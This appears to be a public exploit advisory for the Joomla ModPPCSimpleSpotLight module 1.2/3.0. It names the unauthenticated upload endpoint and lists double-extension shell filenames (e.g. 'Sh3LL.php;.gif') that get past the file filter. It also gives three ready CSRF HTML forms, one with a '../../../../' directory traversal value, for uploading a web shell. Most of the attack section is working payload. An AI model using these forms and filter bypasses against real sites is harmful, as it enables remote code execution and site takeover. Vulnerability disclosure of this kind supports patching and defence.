Joomla ModPPCSimpleSpotLight module versions 1.2 and 3.0 suffer from cross site request forgery and remote shell upload vulnerabilities.
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# Exploit Title : Joomla ModPPCSimpleSpotLight Modules 1.2/3.0 CSRF Shell Upload
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 04/03/2019
# Vendor Homepage : pixelpointcreative.com
# Software Download Link : pixelpointcreative.com/joomla/downloads/category/40-simple-spotlight
# Software Information Link : extensions.joomla.org/extension/simple-spotlight/
bestofjoomla.com/component/option,com_mtree/task,viewlink/link_id,1547/Itemid,95/
# Software Version : 1.2 and 3.0
# Software Price Type : Free/Paid Download
# Solution : Upgrade and Update to 3.1 or higher version
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-264 [ Permissions, Privileges, and Access Controls ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
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# Description about Software :
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Simple spotlight is a jQuery image rotator with navigation for Joomla.
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# Impact :
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Joomla ModPPCSimpleSpotLight 1.2/3.0 versions is prone to an arbitrary file upload vulnerability.
An attacker may leverage this issue to upload arbitrary files to the affected computer; this can
result in arbitrary code execution within the context of the vulnerable application.
Weaknesses in this category are related to the management of permissions, privileges,
and other security features that are used to perform access control.
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# Arbitrary File Upload / Unauthorized File Insertation / Shell Upload Backdoor Access Exploit :
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/modules/mod_ppc_simple_spotlight/elements/upload_file.php
# Directory File Path :
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/modules/mod_ppc_simple_spotlight/img/.......
# Note : It is possible to upload shell files like this =>
Sh3LL.php.gif - Sh3LL.php;.gif - Sh3LL.asp;.jpeg
Sh3LL.php;.gif ;.jpeg - Sh3LL.php;.swf ;.flv
.jpg .jpeg .gif .png
It says : File Uploaded Successfully!
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Cross Site Request Forgery Exploits :
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CSRF Exploiter PoC 1 =>
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<form action="example.com/[PATH]/modules/mod_ppc_simple_spotlight/elements/upload_file.php" method="post" enctype="multipart/form-data" >
<input name="Images" type="file" class="submit" size="80">
<input type="submit" value="Upload !">
</form>
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CSRF Exploiter PoC 2 =>
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<form enctype="multipart/form-data"
action="https://[VULNERABLESITE]/modules/mod_ppc_simple_spotlight/elements/upload_file.php" method="post">
Your File: <input name="upload_file" type="file" /><br />
<input type="hidden" name="dir_icons" value="../../../../">
<input type="submit" value="upload" />
</form>
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CSRF Exploiter PoC 3 =>
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</script>
<form name="newad" method="post" enctype="multipart/form-data" action="https://[VULNERABLESITE]/modules/mod_ppc_simple_spotlight/elements/upload_file.php" method="post">
<table>
<tr>
<td>
<input type="file" name="image">
</td>
</tr>
<tr>
<td>
<input name="Submit" type="submit" value="Upload image">
<input type="button" value="Close" onclick="javascript: refreshParent()">
</td>
</tr>
</table>
</form>
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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
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